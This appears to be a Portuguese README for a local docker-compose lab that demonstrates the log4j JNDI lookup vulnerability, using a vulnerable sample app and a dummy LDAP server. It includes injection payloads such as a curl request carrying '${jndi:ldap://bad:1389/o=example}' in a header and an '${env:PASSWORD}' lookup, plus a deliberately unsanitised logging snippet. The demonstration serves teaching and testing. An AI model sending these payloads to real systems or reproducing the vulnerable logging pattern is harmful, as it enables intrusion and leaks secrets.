
Exemplo de configuração docker-compose para mostrar como este exploit funciona
Este repositório contém um exemplo funcional de abuso da recente vulnerabilidade log4j. Ele não executa código remoto real, mas mostra a facilidade com que um ator malicioso pode fazer com que uma aplicação vulnerável chame seu próprio servidor ldap.
Este exemplo utiliza a excelente aplicação vulnerável de amostra log4j criada por christophetd: https://github.com/christophetd/log4shell-vulnerable-app
Essa vulnerabilidade abusa da funcionalidade de lookup do log4j, especialmente o jndi, que permite que o log4j realize buscas em hosts externos para obter dados a serem inseridos. Isso pode ser explorado para fazer desde o registro de variáveis sensíveis do ambiente até a execução remota de código.
As buscas são realizadas para qualquer texto encapsulado em ${} quando o logger é chamado. Por exemplo,
${jndi:ldap://someldapserver:1389/o=example}
realizaria uma consulta nesse servidor LDAP com a consulta fornecida e exibiria o resultado.
Um exemplo mais simples que não utiliza jndi, mas ainda assim perigoso:
${env:PASSWORD}
Isso imprimiria o conteúdo dessa variável de ambiente nos logs. Alguém com acesso a esses logs poderia extrair dados sensíveis da aplicação.
O código no log4j para que esse exploit seja abusado é bastante direto. Você só precisa chamar o logger para registrar uma determinada propriedade da requisição sem sanitização. Por exemplo, você poderia registrar o conteúdo de um User-Agent.
...
@GetMapping("/bad")
public void Bad(@RequestHeader("User-Agent") String userAgent) {
logger.info("Received User-Agent header " + userAgent);
}
Primeiro, construa o servidor ldap local:
docker build -t ldapnode .
Depois de construído, inicie toda a pilha executando
docker-compose up
Então, você pode fazer uma requisição para a aplicação, utilizando o cabeçalho x-api-version para injetar a consulta
curl --request GET \
--url http://localhost:8080/ \
--header 'x-api-version: ${jndi:ldap://bad:1389/o=example}'
Usando essa requisição, você verá nos logs do docker-compose que o servidor ldap foi chamado:
bad_1 | ldap server has been called!
log4j_1 | 2021-12-14 02:43:11.657 INFO 1 --- [nio-8080-exec-2] HelloWorld : Received a request for API version com.sun.jndi.ldap.LdapCtx@201a609c
Consulte esta documentação para ver os caminhos de resolução.